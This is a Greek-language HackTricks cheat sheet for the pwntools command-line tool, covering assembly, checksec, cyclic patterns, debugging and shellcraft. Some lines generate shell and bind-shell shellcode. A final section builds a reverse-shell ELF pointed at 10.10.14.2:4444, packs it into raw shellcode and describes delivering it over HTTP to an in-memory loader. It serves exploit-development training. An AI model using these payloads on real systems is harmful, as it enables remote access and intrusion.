PwnTools
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
pip3 install pwntools
Pwn asm
Λήψη opcodes από γραμμή ή αρχείο.
pwn asm "jmp esp"
pwn asm -i <filepath>
Μπορείτε να επιλέξετε:
- τύπος εξόδου (raw,hex,string,elf)
- πλαίσιο αρχείου εξόδου (16,32,64,linux,windows...)
- αποφυγή bytes (new lines, null, a list)
- επιλέξτε encoder/debug shellcode — χρησιμοποιήστε gdb για να τρέξετε την έξοδο
Pwn checksec
Σενάριο Checksec
pwn checksec <executable>
Pwn constgrep
Pwn cyclic
Πάρε ένα μοτίβο
pwn cyclic 3000
pwn cyclic -l faad
Μπορεί να επιλέξει:
- Το χρησιμοποιούμενο αλφάβητο (πεζά χαρακτήρες από προεπιλογή)
- Μήκος του μοναδικού μοτίβου (προεπιλογή 4)
- context (16,32,64,linux,windows...)
- Λήψη του offset (-l)
Pwn debug
Επισυνάψτε το GDB σε μια διεργασία
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
Μπορεί να επιλέξει:
- Κατά εκτελέσιμο, κατά όνομα ή κατά pid context (16,32,64,linux,windows...)
- gdbscript για εκτέλεση
- sysrootpath
Pwn disablenx
Απενεργοποιεί το nx ενός binary
pwn disablenx <filepath>
Pwn disasm
Αποσυναρμολόγηση hex opcodes
pwn disasm ffe4
Μπορεί να επιλέξει:
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
Pwn elfdiff
Εκτυπώνει τις διαφορές μεταξύ 2 αρχείων
pwn elfdiff <file1> <file2>
Pwn hex
Λάβετε δεκαεξαδική αναπαράσταση
pwn hex hola #Get hex of "hola" ascii
Pwn phd
Λάβετε hexdump
pwn phd <file>
Μπορεί να επιλέξει:
- Αριθμός bytes προς εμφάνιση
- Αριθμός bytes ανά γραμμή (highlight byte)
- Παράλειψη bytes στην αρχή
Pwn pwnstrip
Pwn scrable
Pwn shellcraft
Λάβετε shellcodes
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
Μπορεί να επιλέξει:
- shellcode και παραμέτρους για το shellcode
- Αρχείο εξόδου
- μορφή εξόδου
- debug (attach dbg to shellcode)
- πριν (debug trap πριν από το code)
- μετά
- αποφύγετε τη χρήση opcodes (προεπιλογή: όχι null και new line)
- Εκτέλεση του shellcode
- Χρώμα/χωρίς χρώμα
- λίστα syscalls
- λίστα πιθανών shellcodes
- Δημιουργία ELF ως shared library
Pwn template
Λάβετε ένα python template
pwn template
Μπορεί να επιλέξει: host, port, user, pass, path και quiet
Pwn unhex
Από hex σε string
pwn unhex 686f6c61
Ενημέρωση Pwn
Για να ενημερώσετε το pwntools
pwn update
ELF → raw shellcode πακετάρισμα (loader_append)
Το Pwntools μπορεί να μετατρέψει ένα standalone ELF σε ένα ενιαίο raw shellcode blob που self‑maps τα segments του και μεταφέρει την εκτέλεση στο αρχικό entrypoint. Αυτό είναι ιδανικό για memory‑only loaders (π.χ., Android apps που καλούν JNI για να εκτελέσουν τα κατεβασμένα bytes).
Τυπικό pipeline (amd64 example)
- Κατασκευάστε ένα static, position‑independent payload ELF (musl recommended for portability):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
- Μετατρέψτε ELF → shellcode με pwntools:
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
- Παραδώστε το sc σε έναν memory loader (π.χ. μέσω HTTP[S]) και εκτελέστε in‑process.
Σημειώσεις
- loader_append ενσωματώνει το αρχικό πρόγραμμα ELF μέσα στο shellcode και παράγει έναν μικρό loader που mmaps τα segments και μεταβαίνει στο σημείο εισόδου.
- Να είστε σαφείς ως προς την αρχιτεκτονική μέσω του context.clear(arch=...). arm64 είναι κοινό σε Android.
- Κρατήστε τον κώδικα του payload ανεξάρτητο ως προς τη θέση και αποφύγετε υποθέσεις σχετικά με το ASLR/NX της διεργασίας.
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.